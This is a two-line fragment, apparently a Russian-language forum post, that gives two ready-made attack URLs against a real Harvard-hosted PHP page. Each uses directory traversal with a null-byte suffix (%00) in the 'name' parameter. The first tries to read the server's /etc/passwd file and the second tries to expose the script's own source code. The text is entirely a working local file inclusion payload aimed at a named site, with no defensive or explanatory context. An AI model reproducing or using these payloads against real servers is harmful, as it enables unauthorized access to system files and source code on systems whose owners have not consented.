http://www.hcs.harvard.edu/gradmus/abstract.php?name=../../../../../../../../../../../../../../../etc/passwd%00

или так

http://www.hcs.harvard.edu/gradmus/abstract.php?name=../abstract.php%00